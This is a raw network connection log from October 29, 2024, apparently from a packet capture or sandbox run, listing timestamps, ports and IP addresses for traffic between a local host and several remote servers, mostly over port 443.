Oct 29, 2024 18:42:22.777764082 CET	49728	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:22.777823925 CET	49728	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:22.777839899 CET	443	49728	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:22.777851105 CET	49730	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:22.777851105 CET	49730	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:22.777856112 CET	443	49730	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:22.777863979 CET	443	49730	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:22.780366898 CET	49742	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:22.780394077 CET	443	49742	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:22.780473948 CET	49743	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:22.780503988 CET	49742	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:22.780546904 CET	443	49743	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:22.780622959 CET	49742	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:22.780632019 CET	443	49742	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:22.780663013 CET	49743	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:22.780765057 CET	49743	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:22.780808926 CET	443	49743	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:22.781146049 CET	49744	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:22.781173944 CET	443	49744	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:22.781426907 CET	49744	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:22.781577110 CET	49744	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:22.781591892 CET	443	49744	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:22.804017067 CET	443	49731	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:22.805013895 CET	443	49731	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:22.805075884 CET	49731	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:22.805243015 CET	49731	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:22.805243015 CET	49731	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:22.805248976 CET	443	49731	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:22.805255890 CET	443	49731	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:22.808561087 CET	49745	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:22.808617115 CET	443	49745	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:22.808702946 CET	49745	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:22.808876038 CET	49745	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:22.808890104 CET	443	49745	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:22.825536013 CET	443	49733	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:22.825819016 CET	443	49733	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:22.825927973 CET	49733	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:22.825958967 CET	49733	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:22.825970888 CET	443	49733	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:22.826014042 CET	49733	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:22.826020956 CET	443	49733	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:22.828346968 CET	49746	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:22.828366995 CET	443	49746	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:22.828560114 CET	49746	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:22.828695059 CET	49746	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:22.828710079 CET	443	49746	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:23.349004030 CET	443	49737	184.28.90.27	192.168.2.5
Oct 29, 2024 18:42:23.349086046 CET	49737	443	192.168.2.5	184.28.90.27
Oct 29, 2024 18:42:23.352935076 CET	49737	443	192.168.2.5	184.28.90.27
Oct 29, 2024 18:42:23.352940083 CET	443	49737	184.28.90.27	192.168.2.5
Oct 29, 2024 18:42:23.353164911 CET	443	49737	184.28.90.27	192.168.2.5
Oct 29, 2024 18:42:23.400707006 CET	49737	443	192.168.2.5	184.28.90.27
Oct 29, 2024 18:42:23.408056974 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:23.415518045 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:23.415538073 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:23.416969061 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:23.417068005 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:23.447343111 CET	443	49737	184.28.90.27	192.168.2.5
Oct 29, 2024 18:42:23.508023977 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:23.508140087 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:23.508147955 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:23.508196115 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:23.520860910 CET	443	49744	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:23.523078918 CET	49726	443	192.168.2.5	52.149.20.212
Oct 29, 2024 18:42:23.528229952 CET	49744	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:23.528249025 CET	443	49744	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:23.528852940 CET	49744	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:23.528858900 CET	443	49744	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:23.530586004 CET	443	49743	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:23.531239986 CET	49743	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:23.531275034 CET	443	49743	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:23.531759024 CET	49743	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:23.531773090 CET	443	49743	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:23.532675028 CET	443	49742	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:23.533241987 CET	49742	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:23.533253908 CET	443	49742	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:23.538558006 CET	49742	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:23.538564920 CET	443	49742	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:23.541966915 CET	443	49745	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:23.562741995 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:23.562758923 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:23.567329884 CET	443	49726	52.149.20.212	192.168.2.5
Oct 29, 2024 18:42:23.569509983 CET	443	49746	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:23.585959911 CET	49745	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:23.586039066 CET	443	49745	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:23.586471081 CET	49745	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:23.586486101 CET	443	49745	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:23.596287966 CET	49746	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:23.596297979 CET	443	49746	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:23.596671104 CET	49746	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:23.596677065 CET	443	49746	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:23.598752022 CET	49747	443	192.168.2.5	142.250.186.142
Oct 29, 2024 18:42:23.598767996 CET	443	49747	142.250.186.142	192.168.2.5
Oct 29, 2024 18:42:23.598859072 CET	49747	443	192.168.2.5	142.250.186.142
Oct 29, 2024 18:42:23.599136114 CET	49747	443	192.168.2.5	142.250.186.142
Oct 29, 2024 18:42:23.599148989 CET	443	49747	142.250.186.142	192.168.2.5
Oct 29, 2024 18:42:23.609590054 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:23.647536993 CET	443	49737	184.28.90.27	192.168.2.5
Oct 29, 2024 18:42:23.647716999 CET	443	49737	184.28.90.27	192.168.2.5
Oct 29, 2024 18:42:23.647785902 CET	49737	443	192.168.2.5	184.28.90.27
Oct 29, 2024 18:42:23.655550957 CET	49737	443	192.168.2.5	184.28.90.27
Oct 29, 2024 18:42:23.655565977 CET	443	49737	184.28.90.27	192.168.2.5
Oct 29, 2024 18:42:23.665189028 CET	443	49744	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:23.665749073 CET	443	49743	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:23.666030884 CET	443	49743	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:23.666086912 CET	49743	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:23.666832924 CET	49743	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:23.666832924 CET	49743	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:23.666866064 CET	443	49743	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:23.666893959 CET	443	49743	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:23.668319941 CET	443	49744	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:23.668397903 CET	49744	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:23.669197083 CET	49744	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:23.669209957 CET	443	49744	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:23.670552015 CET	443	49742	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:23.670691967 CET	443	49742	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:23.670734882 CET	49742	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:23.675152063 CET	49742	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:23.675152063 CET	49742	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:23.675158978 CET	443	49742	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:23.675168037 CET	443	49742	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:23.697135925 CET	49749	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:23.697150946 CET	443	49749	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:23.697240114 CET	49749	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:23.711750031 CET	443	49745	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:23.711900949 CET	443	49745	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:23.711985111 CET	49745	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:23.723155022 CET	443	49746	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:23.723334074 CET	443	49746	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:23.723433971 CET	49746	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:23.733865976 CET	49749	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:23.733880043 CET	443	49749	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:23.734241962 CET	49745	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:23.734302044 CET	443	49745	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:23.734335899 CET	49745	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:23.734355927 CET	443	49745	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:23.745398045 CET	49746	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:23.745398045 CET	49746	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:23.745418072 CET	443	49746	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:23.745429993 CET	443	49746	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:23.750967979 CET	49750	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:23.751025915 CET	443	49750	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:23.751054049 CET	49751	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:23.751065969 CET	443	49751	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:23.751107931 CET	49750	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:23.751128912 CET	49751	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:23.751297951 CET	49750	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:23.751339912 CET	443	49750	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:23.751354933 CET	49751	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:23.751363993 CET	443	49751	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:23.752722025 CET	49752	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:23.752743959 CET	443	49752	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:23.752835989 CET	49752	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:23.752983093 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:23.753056049 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:23.753096104 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:23.753137112 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:23.753175020 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:23.753175020 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:23.753177881 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:23.753197908 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:23.753345966 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:23.753397942 CET	49752	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:23.753407955 CET	443	49752	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:23.753549099 CET	49753	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:23.753576040 CET	443	49753	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:23.753644943 CET	49753	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:23.753751040 CET	49753	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:23.753771067 CET	443	49753	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:23.755424976 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:23.761662960 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:23.761774063 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:23.761795044 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:23.812665939 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:23.812681913 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:23.831790924 CET	443	49726	52.149.20.212	192.168.2.5
Oct 29, 2024 18:42:23.831823111 CET	443	49726	52.149.20.212	192.168.2.5
Oct 29, 2024 18:42:23.831832886 CET	443	49726	52.149.20.212	192.168.2.5
Oct 29, 2024 18:42:23.831854105 CET	443	49726	52.149.20.212	192.168.2.5
Oct 29, 2024 18:42:23.831866026 CET	443	49726	52.149.20.212	192.168.2.5
Oct 29, 2024 18:42:23.831885099 CET	49726	443	192.168.2.5	52.149.20.212
Oct 29, 2024 18:42:23.831912041 CET	443	49726	52.149.20.212	192.168.2.5
Oct 29, 2024 18:42:23.831927061 CET	49726	443	192.168.2.5	52.149.20.212
Oct 29, 2024 18:42:23.831954956 CET	49726	443	192.168.2.5	52.149.20.212
Oct 29, 2024 18:42:23.832468987 CET	443	49726	52.149.20.212	192.168.2.5
Oct 29, 2024 18:42:23.832539082 CET	49726	443	192.168.2.5	52.149.20.212
Oct 29, 2024 18:42:23.832547903 CET	443	49726	52.149.20.212	192.168.2.5
Oct 29, 2024 18:42:23.859530926 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:23.868089914 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:23.868164062 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:23.868272066 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:23.868282080 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:23.873929024 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:23.873971939 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:23.873980045 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:23.875153065 CET	49726	443	192.168.2.5	52.149.20.212
Oct 29, 2024 18:42:23.878674030 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:23.878717899 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:23.878725052 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:23.887449026 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:23.887495041 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:23.887502909 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:23.896626949 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:23.896743059 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:23.896750927 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:23.929456949 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:23.929527044 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:23.929549932 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:23.978025913 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:23.983741999 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:23.989689112 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:23.989733934 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:23.989733934 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:23.989753008 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:23.989873886 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:23.993746042 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:23.995146036 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:23.995222092 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:23.995229959 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:24.003432035 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:24.003510952 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:24.003519058 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:24.011249065 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:24.011300087 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:24.011307001 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:24.020596981 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:24.020654917 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:24.020664930 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:24.042691946 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:24.042736053 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:24.042747021 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:24.087409973 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:24.099077940 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:24.105068922 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:24.105297089 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:24.105310917 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:24.109093904 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:24.109158039 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:24.109165907 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:24.110294104 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:24.110454082 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:24.110460997 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:24.112168074 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:24.112436056 CET	49757	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:24.117444992 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:24.117768049 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:24.117773056 CET	80	49757	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:24.117818117 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:24.117825985 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:24.117845058 CET	49757	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:24.118097067 CET	49757	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:24.123447895 CET	80	49757	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:24.126434088 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:24.126522064 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:24.126529932 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:24.157958984 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:24.157994032 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:24.158042908 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:24.158056021 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:24.158102989 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:24.163115025 CET	443	49726	52.149.20.212	192.168.2.5
Oct 29, 2024 18:42:24.163275003 CET	443	49726	52.149.20.212	192.168.2.5
Oct 29, 2024 18:42:24.163613081 CET	49726	443	192.168.2.5	52.149.20.212
Oct 29, 2024 18:42:25.271379948 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:25.271867037 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:25.271898985 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:25.271936893 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:25.271955967 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:25.272078991 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:25.272311926 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:25.272476912 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:25.272507906 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:25.272532940 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:25.272537947 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:25.272603989 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:25.272608995 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:25.273710012 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:25.273746014 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:25.273767948 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:25.273772955 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:25.273799896 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:25.273829937 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:25.273835897 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:25.274585962 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:25.274650097 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:25.274656057 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:25.274713039 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:25.275818110 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:25.276701927 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:25.276734114 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:25.276753902 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:25.276763916 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:25.276793003 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:25.276798964 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:25.276803970 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:25.276829958 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:25.276858091 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:25.276864052 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:25.277555943 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:25.277689934 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:25.277759075 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:25.277812958 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:25.277813911 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:25.277823925 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:25.277862072 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:25.281610012 CET	80	49757	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:25.281702042 CET	49757	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:25.282815933 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:25.283524990 CET	443	49747	142.250.186.142	192.168.2.5
Oct 29, 2024 18:42:25.283725023 CET	49747	443	192.168.2.5	142.250.186.142
Oct 29, 2024 18:42:25.283735991 CET	443	49747	142.250.186.142	192.168.2.5
Oct 29, 2024 18:42:25.283946991 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:25.283982038 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:25.284007072 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:25.284023046 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:25.284035921 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:25.284147024 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:25.284216881 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:25.284271955 CET	443	49747	142.250.186.142	192.168.2.5
Oct 29, 2024 18:42:25.284326077 CET	49747	443	192.168.2.5	142.250.186.142
Oct 29, 2024 18:42:25.284339905 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:25.284346104 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:25.284681082 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:25.284738064 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:25.284760952 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:25.284795046 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:25.285267115 CET	443	49747	142.250.186.142	192.168.2.5
Oct 29, 2024 18:42:25.285312891 CET	49747	443	192.168.2.5	142.250.186.142
Oct 29, 2024 18:42:25.288641930 CET	49747	443	192.168.2.5	142.250.186.142
Oct 29, 2024 18:42:25.288722992 CET	443	49747	142.250.186.142	192.168.2.5
Oct 29, 2024 18:42:25.288825989 CET	49747	443	192.168.2.5	142.250.186.142
Oct 29, 2024 18:42:25.288830996 CET	443	49747	142.250.186.142	192.168.2.5
Oct 29, 2024 18:42:25.288930893 CET	49747	443	192.168.2.5	142.250.186.142
Oct 29, 2024 18:42:25.292581081 CET	49740	443	192.168.2.5	142.250.74.206
Oct 29, 2024 18:42:25.292591095 CET	443	49740	142.250.74.206	192.168.2.5
Oct 29, 2024 18:42:25.308128119 CET	49726	443	192.168.2.5	52.149.20.212
Oct 29, 2024 18:42:25.308149099 CET	443	49726	52.149.20.212	192.168.2.5
Oct 29, 2024 18:42:25.308326006 CET	49726	443	192.168.2.5	52.149.20.212
Oct 29, 2024 18:42:25.308335066 CET	443	49726	52.149.20.212	192.168.2.5
Oct 29, 2024 18:42:25.335355043 CET	443	49747	142.250.186.142	192.168.2.5
